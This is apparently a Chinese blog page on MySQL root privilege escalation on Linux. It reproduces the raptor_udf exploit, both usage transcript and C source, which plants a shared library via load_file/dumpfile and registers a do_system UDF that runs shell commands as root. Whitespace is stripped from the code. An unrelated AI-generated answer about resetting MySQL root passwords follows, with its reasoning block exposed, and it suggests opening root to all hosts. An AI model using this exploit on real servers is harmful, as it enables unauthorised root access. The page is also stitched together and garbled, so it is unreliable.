Linux mysql root 提权

本文介绍如何通过MySQL用户定义函数(UDF)实现系统命令的调用,并展示了一个具体的例子,即通过创建名为do_system的UDF来执行shell命令。文章详细解释了创建UDF的过程,包括源代码编写、编译链接以及在MySQL中注册使用。

*Usage:
*$id
*uid=500(raptor)gid=500(raptor)groups=500(raptor)
*$gcc-g-craptor_udf.c
*$gcc-g-shared-W1,-soname,raptor_udf.so-oraptor_udf.soraptor_udf.o-lc
*$mysql-uroot-p
*Enterpassword:
*[...]
*mysql>usemysql;
*mysql>createtablefoo(lineblob);
*mysql>insertintofoovalues(load_file('/home/raptor/raptor_udf.so'));
*mysql>select*fromfoointodumpfile'/usr/lib/raptor_udf.so';
*mysql>createfunctiondo_systemreturnsintegersoname'raptor_udf.so';
*mysql>select*frommysql.func;
*+-----------+-----+---------------+----------+
*|name|ret|dl|type|
*+-----------+-----+---------------+----------+
*|do_system|2|raptor_udf.so|function|
*+-----------+-----+---------------+----------+
*mysql>selectdo_system('id>/tmp/out;chownraptor.raptor/tmp/out');
*mysql>\!sh
*sh-2.05b$cat/tmp/out
*uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm)
*[...]
*/

raptor_udf.c:

#include<stdio.h>
#include<stdlib.h>

enumItem_result{STRING_RESULT,REAL_RESULT,INT_RESULT,ROW_RESULT};

typedefstructst_udf_args{
unsignedintarg_count;//numberofarguments
enumItem_result*arg_type;//pointertoitem_result
char**args;//pointertoarguments
unsignedlong*lengths;//lengthofstringargs
char*maybe_null;//1formaybe_nullargs
}UDF_ARGS;

typedefstructst_udf_init{
charmaybe_null;//1iffunccanreturnNULL
unsignedintdecimals;//forrealfunctions
unsignedlongmax_length;//forstringfunctions
char*ptr;//freeptrforfuncdata
charconst_item;//0ifresultisconstant
}UDF_INIT;

intdo_system(UDF_INIT*initid,UDF_ARGS*args,char*is_null,char*error)
{
if(args->arg_count!=1)
return(0);

system(args->args[0]);

return(0);
}

<think>嗯,用户问的是在Linux环境下如何配置MySQLroot用户限和密码。首先,我需要回忆一下相关的步骤,可能包括安装MySQL、修改密码、限管理等。根据之前供的引用内容,特别是引用1到4,里面到了重置密码、无密码登录、强制修改密码以及安装过程中的密码设置。 首先,用户可能需要知道如何安装MySQL,因为安装过程中可能涉及到初始密码的设置。比如引用4到安装时查看默认密码,然后登录并修改密码。所以在回答里应该先涵盖安装步骤,但用户的问题可能已经假设MySQL已经安装好了,重点是配置限和密码。不过为了全面,可能还是要简单一下安装过程,或者分步骤说明。 然后是修改root密码的方法。引用1和3都到了不同情况下的密码修改方式,比如忘记密码时的处理,以及正常情况下的修改。可能需要分两种情况:正常修改密码和忘记密码后的强制修改。例如,正常修改可以使用ALTER USER命令,而忘记密码则需要停止服务,跳过限验证,然后更新mysql.user表。 接下来是限配置。用户可能需要知道如何设置root用户可以从远程访问,或者限制其限以高安全性。引用4中到了设置其他IP可以访问,可能需要修改host为%,并授所有限。同时,刷新限是必要的步骤,使用FLUSH PRIVILEGES。 另外,安全建议也很重要,比如设置强密码、限制root远程登录、定期更换密码等。这些内容需要结合最佳实践来回答,确保用户不仅操作正确,还符合安全规范。 还需要检查是否有步骤需要特别注意限问题,比如使用sudo或者以root用户运行命令。在修改配置文件或重启服务时,可能需要管理员限。 可能的问题点:在跳过限验证时,如何正确停止和启动MySQL服务,不同的Linux发行版可能有不同的服务管理命令(如systemctl vs service)。需要指出通用的方法或者常见的系统差异。 另外,引用2到使用mysqld_safe --skip-grant-tables &来跳过密码认证,这时候在新窗口登录可能需要正确的命令格式,比如mysql -u root而不是mysql -root,可能用户之前输入错误,导致无法登录,这也需要注意。 总结回答的结构应该是分步骤,先讲正常情况下的密码修改,再讲忘记密码的情况,然后是限管理,最后是安全建议。每个步骤需要给出具体的命令示例,并引用相关的参考资料。同时,生成的相关问题需要围绕配置过程中的其他方面,比如安全加固、远程访问设置、密码策略等。</think>### 如何在 Linux 系统中配置 MySQL root 用户限和密码 #### 一、修改 MySQL root 用户密码 **步骤 1:正常修改密码(已知当前密码)** 1. 登录 MySQL: ```bash mysql -u root -p ``` 输入当前密码后进入 MySQL 命令行。 2. 执行密码修改命令(以 MySQL 8.0+ 为例): ```sql ALTER USER 'root'@'localhost' IDENTIFIED BY '新密码'; FLUSH PRIVILEGES; -- 刷新限[^4] ``` **步骤 2:强制修改密码(忘记密码)** 1. 停止 MySQL 服务: ```bash sudo systemctl stop mysqld # 或使用 /etc/init.d/mysqld stop[^2][^3] ``` 2. 跳过限验证启动 MySQL: ```bash sudo mysqld_safe --skip-grant-tables & ``` 3. 新终端窗口无密码登录: ```bash mysql -u root ``` 4. 手动更新密码(MySQL 5.7 及以下): ```sql UPDATE mysql.user SET authentication_string=PASSWORD('新密码') WHERE User='root'; FLUSH PRIVILEGES; -- 确保限生效[^4] ``` (MySQL 8.0+ 需使用 `ALTER USER` 命令) --- #### 二、配置 root 用户限 **1. 允许远程访问** 默认情况下,root 用户仅允许本地登录。若需开放远程访问: ```sql UPDATE mysql.user SET Host='%' WHERE User='root'; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; -- 应用限变更 ``` **2. 限制限(安全建议)** - 避免赋予 `ALL PRIVILEGES`,按需分配限,例如: ```sql GRANT SELECT, INSERT, UPDATE ON 数据库名.* TO 'root'@'localhost'; ``` --- #### 三、安全加固建议 1. **密码复杂度要求** - 包含大小写字母、数字、特殊符号(如 `P@ssw0rd_123`)。 2. **定期更换密码** - 建议每 90 天更新一次。 3. **限制 root 远程登录** - 仅允许特定 IP 访问: ```sql GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.1.100' IDENTIFIED BY '密码'; ``` --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值